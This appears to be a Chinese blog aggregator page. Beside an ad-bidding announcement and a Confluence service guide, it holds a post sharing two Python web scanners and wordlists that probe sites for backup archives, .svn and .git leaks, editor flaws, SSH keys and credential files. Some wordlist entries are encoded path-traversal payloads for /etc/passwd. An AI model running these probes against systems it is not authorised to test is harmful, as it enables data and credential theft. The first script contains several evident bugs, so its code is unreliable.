首页 文章 精选 留言 我的

精选列表

搜索[手动],共10007篇文章
优秀的个人博客,低调大师

从“手动调价”到“自动出价”,鲸鸿动能全新上线“最大转化投放”策略

每逢电商大促、新游首发,广告主常常面临一个两难处境:想跑量,成本可能上浮;想控成本,量又跑不起来。投手反复调整出价,消耗节奏与成本控制往往难以兼顾。有没有一种方式,能让系统自动完成出价探索,把广告主从盯盘调价中解放出来? 鲸鸿动能近期正式上线全新投放策略“最大转化投放(NOBID)”,正是针对这一需要。广告主只需设定一笔预算,系统便会自动完成出价探索,尽可能消耗完预算并带回尽可能多的转化量,让投放这件事变得更省心、更高效。 一、当出价决策交给系统:鲸鸿动能投放策略再升级 本次上线前,鲸鸿动能平台已支持“稳定拿量”“优先跑量”“优先低成本”三种投放策略。“稳定拿量”追求成本接近目标出价,适合成本敏感型日常投放;“优先跑量”允许成本适度上浮换取更快拿量,常用于促销期;“优先低成本”优先控制花费,适合预算有限的精细化投放场景。三种策略均需广告主先设置目标出价,系统围绕出价进行流量探索。 而新上线的“最大转化投放(NOBID)”逻辑与此前不同,这是一款只需设置预算、无需设置出价的智能化投放产品,系统自动进行出价探索,尽可能消耗完预算的同时拿到尽可能多的转化数。如果说原有策略是“成本导向”(定出价、跑量),那么“最大转化投放”就是“预算导向”(定预算、系统自动调控成本以达成理想转化)。这一转变将出价决策交还系统,广告主只需专注预算分配与素材策略。 从行业视角看,“最大转化”已是成熟投放策略,主流平台均有布局。鲸鸿动能此次上线,进一步丰富了平台的投放工具组合,让广告主在冲量战役中多了一个高效选项。 在操作界面背后,支撑“最大转化投放”运行的是一套自动化出价与预算分配机制。其核心逻辑可以分为两步:首先,系统综合行业属性、历史数据、竞价环境及优化目标,拟合出“出价—消耗—转化”关系曲线;再之后,系统由低到高自动出价,优先抢占高性价比流量,随预算消耗进度逐步上探更高成本量级。整个过程贴合大盘流量曲线分时段匀速消耗,避免预算在投放初期过快耗尽或到结束时仍有大量剩余。 对于广告主而言,这意味着在“控成本”之外,多了一条“定预算、拿转化”的明确路径——不必再为出价反复试错,平台替广告主把钱花在转化可能性更高的地方。 二、实战验证:电商与文旅行业的全域增长 来自闲置交易平台A和某在线旅游平台B的真实投放数据,验证了“最大转化投放”的实战效果。 今年3月,A平台面临冲击日活峰值的挑战,需在短期内快速起量。启用“最大转化投放”后,在成本上浮90%内,转化量增长187%,消耗规模提升451%,预算消耗率达92%。面对明确的跑量目标和可接受的成本弹性,“最大转化投放”帮助A平台用有限成本上浮换取了接近两倍的用户增长和四倍以上的预算消耗能力。 今年春节期间,B平台同样面临抢量压力,希望放宽成本考核、扩大消耗量级。春节期间使用“最大转化投放”策略,最终交出这样一组数据:预算消耗率95%;成本仅上浮15%,转化量提升53%,消耗规模增长74%。系统不仅“花得完”,更“花得稳”。 两个案例说明,“最大转化投放”既能支撑规模爆发,也能适配效率优先,在不同跑量诉求下均展现出稳定的拿量与消耗能力。 三、场景适配:“最大转化投放”适配多元投放目标 在实际投放中,不同营销目标对投放策略的需求差异明显,“最大转化投放”的能力主要适配三类典型场景。 电商大促、节日营销这类节点性战役,品牌通常手握一笔需要在固定周期内花完的专项预算,最关心的问题是:钱能不能花出去,花出去能带回多少转化。此时成本允许在一定范围内浮动,“最大转化投放”以预算消耗为首要目标的特性恰好匹配了这一诉求,系统自动拉升拿量能力,确保窗口期内的流量被充分吃进,为跑量目标提供确定的消耗底盘。 针对游戏行业的新品首发或版本更新,情况有所不同。头几天的用户涌入速度往往决定了产品生命周期的开局走势,预算充足的前提下,起量加速度是核心竞争维度。“最大转化投放”由低到高出价的探索机制,相当于为新游铺设了一条加速跑道——从高性价比流量起步快速积累初始数据,再逐步放量,让首发期的每一分钟都用在刀刃上。 此外,对于新客户、新素材或新产品初次投放的场景,广告主往往不清楚合适的出价区间,贸然设置出价既可能跑不动量,也可能花冤枉钱。此时用一小笔预算开启“最大转化投放”,系统会自动探索流量成本与目标人群特征,快速摸清出价基准线,为后续大规模投放提供可靠的数据参照。这种“小成本测通能力”的模式,让试错成本降至更低的同时确保预算被充分利用。 结语: “最大转化投放”的加入,让鲸鸿动能的投放策略矩阵更加立体。它在“成本优先”与“预算优先”间提供了更多选项,为不同阶段的投放目标匹配合适的工具。即日起,广告主登录鲸鸿动能投放平台,在投放策略中选择“最大转化”即可体验。 鲸鸿动能的投放能力仍在持续升级,未来“最大转化投放”还将与预算分配策略深度结合,以持续的能力迭代,为更多场景提供智能化的出价解决方案。

优秀的个人博客,低调大师

Confluence 6 Windows 中以服务方式自动重启为服务手动安装 Confluence 分发包

在 Windows: 打开一个命令输入框,然后修改目录到<CONFLUENCE-INSTALL>/bin目录中。 你需要以管理员权限运行这个命令行输入框(Run as administrator),这样你才能够完成下面的步骤: 使用下面的命令来确定 JAVA_HOME 变量被设置到 JDK base 目录: echo %JAVA_HOME% 如果你现在安装的 Java 环境为 JRE(Java Runtime Environment)或者使用的是 Confluence 安装器,替换JAVA_HOME为JRE_HOME。请参考Setting the JAVA_HOME Variable in Windows页面获得更多信息。 请注意,在任何目录路径中的文件夹是以空格为分割符的话(例如,C:\Program Files必须转换为 8 个字符等价的字符串,需要转换为C:\Progra~1)。 在默认的设置中,使用下面的命令来安装服务: service.batinstall Confluence 服务的名字将会被命名为Atlassian Confluence同时将会默认被配置为自动重启,但是不会自动重启知道你下一次对服务器进行重启。 如果你有大型的 Confluence 安装,你可以增加 Confluence 使用的最大内存数量(默认为 1024MB)。例如,你可以增加最大内存使用数量到 2048MB : tomcat9w //US//Confluence --JvmMx 2048 基于你安装的 Confluence,如果你没有任何 JVM 参数,你可以跳过这个步骤。如果你有这个参数,请添加到服务中: tomcat9w //US//Confluence ++JvmOptions="-Djust.an.example=True" 可选的,你可以使用下面的命令来运行服务器属性对话框然后导航到 Java 标签页,然后添加更多的 JVM 参数。 tomcat9w//ES//Confluence 有关更多的配置选项,请参考Tomcat Windows Service How-To指南。 进入控制面板(Control Panel)> 管理工具(Administrative Tools)> 服务(Services)>Atlassian Confluence然后右键单击属性(Properties)来确定你的配置是正确的。使用命令行启动 Confluence 服务。 最后,启动 Confluence 服务。从现在开始,Confluence 的服务将会随着操作系统的重启而自动启动。 net start Confluence https://www.cwiki.us/display/CONF6ZH/Start+Confluence+Automatically+on+Windows+as+a+Service

优秀的个人博客,低调大师

闲的无聊时候就手动写第一个漏洞扫描工具吧!

上课太无聊了,今天就用python写个漏洞扫描器玩玩,原理是先检测漏洞,在扫描备份,文件结果自动保存在当前目录 主要就是:信息获取、模拟攻击。 网络漏洞扫描对目标系统进行漏洞检测时,首先探测目标系统的存活主机,对存活主机进行端口扫描,确定系统开放的端口,同时根据协议指纹技术识别出主机的操作系统类型。然后扫描器对开放的端口进行网络服务类型的识别,确定其提供的网络服务。漏洞扫描器根据目标系统的操作系统平台和提供的网络服务,调用漏洞资料库中已知的各种漏洞进行逐一检测,通过对探测响应数据包的分析判断是否存在漏洞。 因此,只要我们认真研究各种漏洞,知道它们的探测特征码和响应特征码就可以利用软件来实现对各种已知漏洞的模拟。 由于漏洞模拟系统实际上是分析扫描器发出的探测包中的是否含有探测特征码并返回具有相应响应特征码的数据包。因此,对每一个漏洞,探测特征码和响应特征码是两项必需的描述。 采用数据库技术可以方便地向漏洞资料库中添加新发现的漏洞,使漏洞模拟软件能够不断地更新漏洞资料库,可以更加有效地测试扫描器对安全漏洞的检测能力。(我在这里,由于技术原因没有建立数据库而是用文本文件保存的特征码。) config.txt是配置文件 url.txt是要扫描的url 内部配置相关的常见编辑器漏洞和svn源码泄露漏洞 多线程运行 程序的思路是 附上config.txt /a.zip /web.zip /web.rar /1.rar /bbs.rar /www.root.rar /123.rar /data.rar /bak.rar /oa.rar /admin.rar /www.rar /2014.rar /2015.rar /2016.rar /2014.zip /2015.zip /2016.zip /1.zip /1.gz /1.tar.gz /2.zip /2.rar /123.rar /123.zip /a.rar /a.zip /admin.rar /back.rar /backup.rar /bak.rar /bbs.rar /bbs.zip /beifen.rar /beifen.zip /beian.rar /data.rar /data.zip /db.rar /db.zip /flashfxp.rar /flashfxp.zip /fdsa.rar /ftp.rar /gg.rar /hdocs.rar /hdocs.zip /HYTop.mdb /root.rar /Release.rar /Release.zip /sql.rar /test.rar /template.rar /template.zip /upfile.rar /vip.rar /wangzhan.rar /wangzhan.zip /web.rar /web.zip /website.rar /www.rar /www.zip /wwwroot.rar /wwwroot.zip /wz.rar /备份.rar /网站.rar /新建文件夹.rar /新建文件夹.zip 漏洞扫描工具.py # -*- coding:utf-8 -*- import requests import time import Queue import threading import urllib2 import socket timeout=3 socket.setdefaulttimeout(timeout) q = Queue.Queue() time.sleep(5) headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102Safari/537.36'} f1 = open('url.txt','r') f2 = f1.readlines() f1.close() f3 = open('result.txt','a+') f9 = open('config.txt','r') #配置文件载入 f4 = f9.readlines() f9.close() def rarzip(): #开始构建扫描函数 try: #域名rarzip扫描 print yumingrar reqryumingrar = urllib2.Request(url=yumingrar,headers=headers) ryumingrar = urllib2.urlopen(reqryumingrar) if ryumingrar.code == 200: metarar = ryumingrar.info() sizerar = str(metarar.getheaders("Content-Length")[0]) #文件大小 sizerar1 = int(metarar.getheaders("Content-Length")[0]) if sizerar1 > 8888: print 'Found A Success Url Maybe backups' print yumingrar print 'Size:' + sizerar + 'Kbs' f3.write(yumingrar + '----------' + sizerar + 'Kbs' + '\n') else: print '888 Safe Dog I Fuck You 888' else: print '[+]Pass.........................' except: pass try: print yumingzip reqryumingzip = urllib2.Request(url=yumingzip,headers=headers) ryumingzip = urllib2.urlopen(reqryumingrar) if ryumingzip.code == 200: metazip = ryumingrar.info() sizezip = str(metazip.getheaders("Content-Length")[0]) sizezip1 = int(metazip.getheaders("Content-Length")[0]) if sizezip1 > 8888: print 'Found A Success Url Maybe backups' print yumingzip print 'Size:' + sizezip + 'Kbs' f3.write(yumingzip + '----------' + sizezip + 'Kbs' + '\n') else: print '888 Safe Dog I Fuck You 888' else: print '[+]Pass.........................' except: pass def svn(): try: #svn漏洞扫描 print yumingsvn ryumingsvn = requests.get(url=yumingsvn,headers=headers,allow_redirects=False,timeout=3) if ryumingsvn_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(yumingsvn + ' 【SVN源码泄露漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass def eweb(): try: #ewebeditor漏洞扫描 print '---------------Ewebeditor Vulnerability Scan---------------' print eweb1 reweb1 = requests.get(url=eweb1,headers=headers,allow_redirects=False,timeout=3) if reweb1_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(eweb1 + ' 【Ewebeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print eweb2 reweb2 = requests.get(url=eweb2,headers=headers,allow_redirects=False,timeout=3) if reweb2_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(eweb2 + ' 【Ewebeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print eweb3 reweb3 = requests.get(url=eweb3,headers=headers,allow_redirects=False,timeout=3) if reweb3_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(eweb3 + ' 【Ewebeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print eweb4 reweb4 = requests.get(url=eweb4,headers=headers,allow_redirects=False,timeout=3) if reweb4_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(eweb4 + ' 【Ewebeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print eweb5 reweb5 = requests.get(url=eweb5,headers=headers,allow_redirects=False,timeout=3) if reweb5_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(eweb5 + ' 【Ewebeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print eweb6 reweb6 = requests.get(url=eweb6,headers=headers,allow_redirects=False,timeout=3) if reweb6_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(eweb6 + ' 【Ewebeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass #fckeditor漏洞扫描 def fck(): try: print '---------------Fckeditor Vulnerability Scan---------------' print fck1 rfck1 = requests.get(url=fck1,headers=headers,allow_redirects=False,timeout=3) if rfck1_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(fck1 + ' 【Fckeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print fck2 rfck2 = requests.get(url=fck2,headers=headers,allow_redirects=False,timeout=3) if rfck2_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(fck2 + ' 【Fckeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print fck3 rfck3 = requests.get(url=fck3,headers=headers,allow_redirects=False,timeout=3) if rfck3_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(fck3 + ' 【Fckeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print fck4 rfck4 = requests.get(url=fck4,headers=headers,allow_redirects=False,timeout=3) if rfck4_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(fck4 + ' 【Fckeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print fck5 rfck5 = requests.get(url=fck5,headers=headers,allow_redirects=False,timeout=3) if rfck5_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(fck5 + ' 【Fckeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass try: print fck6 rfck6 = requests.get(url=fck6,headers=headers,allow_redirects=False,timeout=3) if rfck6_status == 200: print 'Found A Success Url Maybe Vulnerability' f3.write(fck6 + ' 【Fckeditor编辑器漏洞】' + '\n') else: print '[+]Pass.........................' except: print "[+]Can not connect url" pass for i in f2: c = i.strip('\n') print c try: ceshi = requests.get(url=c,headers=headers,allow_redirects=False,timeout=3) if ceshi.status_code == 200: a = c.split(".",2)[1] #获取主域名 yumingrar = c + '/' + a + '.rar' #构造域名 + zip 的备份 yumingzip = c + '/' + a + '.zip' rarzip() #开始对一系列特殊漏洞后缀构造url yumingsvn = c + '/.svn/entries' #svn漏洞 svn() eweb1 = c + '/editor/editor/filemanager/browser/default/connectors/test.html' #ewebeditor编辑器漏洞 eweb2 = c + '/editor/editor/filemanager/connectors/test.html' eweb3 = c + '/editor/editor/filemanager/connectors/uploadtest.html' eweb4 = c + '/html/db/ewebeditor.mdb' eweb5 = c + '/db/ewebeditor.mdb' eweb6 = c + '/db/ewebeditor.asp' eweb() fck1 = c + '/fckeditor/editor/filemanager/browser/default/connectors/test.html' #fckeditor编辑器漏洞 fck2 = c + '/fckeditor/editor/filemanager/connectors/test.html' fck3 = c + '/FCKeditor/editor/filemanager/connectors/uploadtest.html' fck4 = c + '/FCKeditor/editor/filemanager/upload/test.html' fck5 = c + '/fckeditor/editor/filemanager/browser/default/browser.html' fck6 = c + '/FCKeditor/editor/fckeditor.html' fck() else: pass except: print "NO USE URL WHAT FUCK A BIG URL" pass for i in f2: c = i.strip('\n') try: ce = requests.get(url=c,headers=headers,allow_redirects=False,timeout=3) if ce.status_code == 200: q.put(c) else: pass except: print "NO USE URL WHAT FUCK A BIG URL" pass def starta(): print '---------------Start Backups Scan---------------' #开始从字典载入了~ while not q.empty(): zhaohan = q.get() #url网址载入队列了 for f5 in f4: f6 = f5.strip('\n') #正确的备份内容 urlx = zhaohan + f6 #正确的网址 + 备份 print urlx try: req = urllib2.Request(url=urlx,headers=headers) response = urllib2.urlopen(req) if response.code == 200: meta = response.info() sizes = str(meta.getheaders("Content-Length")[0]) sizess = int(meta.getheaders("Content-Length")[0]) if sizess < 8888: print '888 Safe Dog I Fuck You 888' else: print 'Found A Success Url Maybe backups' print 'Size:' + sizes + 'Kbs' f3.write(urlx + '----------' + sizes + '\n') else: print '[+]Pass.........................' except: pass thread1 = threading.Thread(target = starta()) thread1.start() f3.close() print '--------------------------------------------------------------------' print '--------------------------------OVER--------------------------------' print '--------------------------------------------------------------------' time.sleep(10) exit() 看样子效果还是挺明显的: 然后看了看大神们写的,发现了一种比较精简的写法: 把目标的域名收集全就可以自动化刷src。 根据规则来扫描一些路径,比如Tomcat,Jboss,weblogic,svn,Jenkins,备份文件等等,跟一般的后台目录扫描不一样。所以后面如果想要指定扫描的类型可以自由添加。 如果rule规则有需要增加的,麻烦再帖子后面评论+规则,代码需要修改完善的请私我。 dirFinder.py 是扫描脚本 rule.txt 是规则,可以自由添加。打开的时候用editplus、notepad++等,如果用自带记事本会没有换行。 url.txt 是需要扫描的URL地址 扫描结果会自动生成到vulurl.txt文件中 rule.txt如下: /wls-wsat/CoordinatorPortType /wls-wsat/CoordinatorPortType11 :9443/wls-wsat/CoordinatorPortType :9443/wls-wsat/CoordinatorPortType11 :8470/wls-wsat/CoordinatorPortType :8470/wls-wsat/CoordinatorPortType11 :8447/wls-wsat/CoordinatorPortType :8447/wls-wsat/CoordinatorPortType11 :8080 :8007 /asynchPeople /manage /script :8080/jenkins :8007/jenkins /jenkins /.svn/entries /.svn /console/ /manager :8080/manager :8080/manager/html /manager/html /invoker/JMXInvokerServlet /invoker :8080/jmx-console/ /jmx-console/ /robots.txt /system /wls-wsat/CoordinatorPortType /wsat/CoordinatorPortType /wls-wsat/CoordinatorPortType11 /wsat/CoordinatorPortType11 /examples/ /examples/servlets/servlet/SessionExample /solr/ /.git/config /.git/index /.git/HEAD /WEB-INF/ /core /old.zip /old.rar /old.tar.gz /old.tar.bz2 /old.tgz /old.7z /temp.zip /temp.rar /temp.tar.gz /temp.tgz /temp.tar.bz2 /package.zip /package.rar /package.tar.gz /package.tgz /package.tar.bz2 /tmp.zip /tmp.rar /tmp.tar.gz /tmp.tgz /tmp.tar.bz2 /test.zip /test.rar /test.tar.gz /test.tgz /test.tar.bz2 /backup.zip /backup.rar /backup.tar.gz /backup.tgz /back.tar.bz2 /db.zip /db.rar /db.tar.gz /db.tgz /db.tar.bz2 /db.log /db.inc /db.sqlite /db.sql.gz /dump.sql.gz /database.sql.gz /backup.sql.gz /data.zip /data.rar /data.tar.gz /data.tgz /data.tar.bz2 /database.zip /database.rar /database.tar.gz /database.tgz /database.tar.bz2 /ftp.zip /ftp.rar /ftp.tar.gz /ftp.tgz /ftp.tar.bz2 /log.txt /log.tar.gz /log.rar /log.zip /log.tgz /log.tar.bz2 /log.7z /logs.txt /logs.tar.gz /logs.rar /logs.zip /logs.tgz /logs.tar.bz2 /logs.7z /web.zip /web.rar /web.tar.gz /web.tgz /web.tar.bz2 /www.log /www.zip /www.rar /www.tar.gz /www.tgz /www.tar.bz2 /wwwroot.zip /wwwroot.rar /wwwroot.tar.gz /wwwroot.tgz /wwwroot.tar.bz2 /output.zip /output.rar /output.tar.gz /output.tgz /output.tar.bz2 /admin.zip /admin.rar /admin.tar.gz /admin.tgz /admin.tar.bz2 /upload.zip /upload.rar /upload.tar.gz /upload.tgz /upload.tar.bz2 /website.zip /website.rar /website.tar.gz /website.tgz /website.tar.bz2 /package.zip /package.rar /package.tar.gz /package.tgz /package.tar.bz2 /sql.log /sql.zip /sql.rar /sql.tar.gz /sql.tgz /sql.tar.bz2 /sql.7z /sql.inc /data.sql /qq.sql /tencent.sql /database.sql /db.sql /test.sql /admin.sql /backup.sql /user.sql /sql.sql /index.zip /index.7z /index.bak /index.rar /index.tar.tz /index.tar.bz2 /index.tar.gz /dump.sql /old.zip /old.rar /old.tar.gz /old.tar.bz2 /old.tgz /old.7z /1.tar.gz /a.tar.gz /x.tar.gz /o.tar.gz /conf/conf.zip /conf.tar.gz /qq.pac /tencent.pac /server.cfg /deploy.tar.gz /build.tar.gz /install.tar.gz /secu-tcs-agent-mon-safe.sh /password.tar.gz /site.tar.gz /tenpay.tar.gz /rsync_log.sh /rsync.sh /webroot.zip /tools.tar.gz /users.tar.gz /webserver.tar.gz /htdocs.tar.gz /admin/ /admin.php /admin.do /login.php /login.do /admin.html /manage/ /server-status /login/ /fckeditor/_samples/default.html /ckeditor/samples/ /fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php /fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php /app/config/database.yml /database.yml /sqlnet.log /database.log /db.log /db.conf /db.ini /logs.ini /upload.do /upload.jsp /upload.php /upfile.php /upload.html /upload.cgi /jmx-console/HtmlAdaptor /cacti/ /zabbix/ /jira/ /jenkins/static/f3a41d2f/css/style.css /static/f3a41d2f/css/style.css /exit /memadmin/index.php /phpmyadmin/index.php /pma/index.php /ganglia/ /_phpmyadmin/index.php /pmadmin/index.php /config/config_ucenter.php.bak /config/.config_ucenter.php.swp /config/.config_global.php.swp /config/config_global.php.1 /uc_server/data/config.inc.php.bak /config/config_global.php.bak /include/config.inc.php.tmp /access.log /error.log /log/access.log /log/error.log /log/log.log /logs/error.log /logs/access.log /error.log /errors.log /debug.log /log /logs /debug.txt /debug.out /.bash_history /.rediscli_history /.bashrc /.bash_profile /.bash_logout /.vimrc /.DS_Store /.history /.htaccess /htaccess.bak /.htpasswd /.htpasswd.bak /htpasswd.bak /nohup.out /.idea/workspace.xml /.mysql_history /httpd.conf /web.config /shell.php /1.php /spy.php /phpspy.php /webshell.php /angle.php /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/profile /resin-doc/viewfile/?contextpath=/&servletpath=&file=index.jsp /application/configs/application.ini /wp-login.php /wp-config.inc /wp-config.bak /wp-config.php~ /.wp-config.php.swp /wp-config.php.bak /.ssh/known_hosts /.ssh/known_hosts /.ssh/id_rsa /id_rsa /.ssh/id_rsa.pub /.ssh/id_dsa /id_dsa /.ssh/id_dsa.pub /.ssh/authorized_keys /owa/ /ews/ /readme /README /readme.md /readme.html /changelog.txt /data.txt /CHANGELOG.txt /CHANGELOG.TXT /install.txt /install.log /install.sh /deploy.sh /install.txt /INSTALL.TXT /config.php /config/config.php /config.inc /config.inc.php /config.inc.php.1 /config.php.bak /db.php.bak /conf/config.ini /config.ini /config/config.ini /configuration.ini /configs/application.ini /settings.ini /application.ini /conf.ini /app.ini /config.json /output /a.out /test /tmp /temp /user.txt /users.txt /key /keys /key.txt /keys.txt /pass.txt /passwd.txt /password.txt /pwd.txt /php.ini /sftp-config.json /index.php.bak /.index.php.swp /index.cgi.bak /config.inc.php.bak /.config.inc.php.swp /config/.config.php.swp /.config.php.swp /app.cfg /setup.sh /../../../../../../../../../../../../../etc/passwd /../../../../../../../../../../../../../etc/hosts /../../../../../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1 /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/hosts /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd //././././././././././././././././././././././././../../../../../../../../etc/passwd /etc/passwd /file:///etc/passwd /etc/hosts /aa/../../cc/../../bb/../../dd/../../aa/../../cc/../../bb/../../dd/../../bb/../../dd/../../bb/../../dd/../../bb/../../dd/../../ee/../../etc/hosts /proc/meminfo /etc/profile /resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd /WEB-INF/web.xml /WEB-INF/web.xml.bak /WEB-INF/applicationContext.xml /WEB-INF/applicationContext-slave.xml /WEB-INF/config.xml /WEB-INF/spring.xml /WEB-INF/struts-config.xml /WEB-INF/struts-front-config.xml /WEB-INF/struts/struts-config.xml /WEB-INF/classes/spring.xml /WEB-INF/classes/struts.xml /WEB-INF/classes/struts_manager.xml /WEB-INF/classes/conf/datasource.xml /WEB-INF/classes/data.xml /WEB-INF/classes/config/applicationContext.xml /WEB-INF/classes/applicationContext.xml /WEB-INF/classes/conf/spring/applicationContext-datasource.xml /WEB-INF/config/db/dataSource.xml /WEB-INF/spring-cfg/applicationContext.xml /WEB-INF/dwr.xml /WEB-INF/classes/hibernate.cfg.xml /WEB-INF/classes/rabbitmq.xml /WEB-INF/database.properties /WEB-INF/web.properties /WEB-INF/log4j.properties /WEB-INF/classes/dataBase.properties /WEB-INF/classes/application.properties /WEB-INF/classes/jdbc.properties /WEB-INF/classes/db.properties /WEB-INF/classes/conf/jdbc.properties /WEB-INF/classes/security.properties /WEB-INF/conf/database_config.properties /WEB-INF/config/dbconfig /WEB-INF/conf/activemq.xml /server.xml /config/database.yml /configprops /phpinfo.php /phpinfo.php5 /info.php /php.php /pi.php /mysql.php /sql.php /shell.php /apc.php /test.sh /logs.sh /test/ /test.php /temp.php /tmp.php /test2.php /test2.php /test.html /test2.html /test.txt /test2.txt /debug.php /a.php /b.php /t.php /i.php /x.php /1.php /123.php /test.cgi /test-cgi /cgi-bin/test-cgi /cgi-bin/test /cgi-bin/test.cgi /zabbix/jsrpc.php /jsrpc.php dirFinder.py #!/usr/bin/env python # -*- coding:utf-8 -*- #from flask import Flask, request, json, Response, jsonify import json import threading import requests import urllib2 import sys import threading from time import ctime,sleep import threadpool #app = Flask(__name__) #@app.route('/', methods = ['GET','POST']) def main(): #if request.method == 'GET': #geturl = request.args.get('geturl') f = open("url.txt") line = f.readlines() global g_list g_list = [] urllist = [] list1 = [] for u in line: u = u.rstrip() #dir = ['/admin','/t/344205'] dir = open("rule.txt") dirline = dir.readlines() for d in dirline: d = d.rstrip() scheme = ['http://','https://'] for s in scheme: #print type(s) #print type(geturl) #print type(d) url = s + u + d list1.append(url) thread_requestor(list1) #return json.dumps(g_list) f = open('vulurl.txt','w') f.write(json.dumps(g_list)) f.close() def res_printer(res1,res2): if res2: g_list.append(res2) else: pass def thread_requestor(urllist): pool = threadpool.ThreadPool(200) reqs = threadpool.makeRequests(getScan,urllist,res_printer) [pool.putRequest(req) for req in reqs] pool.wait() def getScan(url): try: requests.packages.urllib3.disable_warnings() status = requests.get(url, allow_redirects=False, timeout=3,verify=False).status_code print "scanning " + url if status == 200: return url else: pass except: pass if __name__ == "__main__": main() 扫描结果如下: 总结一点,功能还是挺强大的,互相学习~~~ 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!

优秀的个人博客,低调大师

重复命令不用再翻聊天记录:Xterminal 把常用操作变成顺手动

下午刚查完测试环境的容器日志,晚上又要看一次。你记得命令大概长什么样,却忘了容器名、尾部参数和日志路径,于是开始翻聊天记录、搜终端历史,再小心地改其中一段。Xterminal 快速命令想解决的正是这几分钟的反复:把常用操作留在当前 SSH 工作区里,需要时按名字找到、填入这次变化的参数、看清完整命令,然后再决定执行还是只放进终端。

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册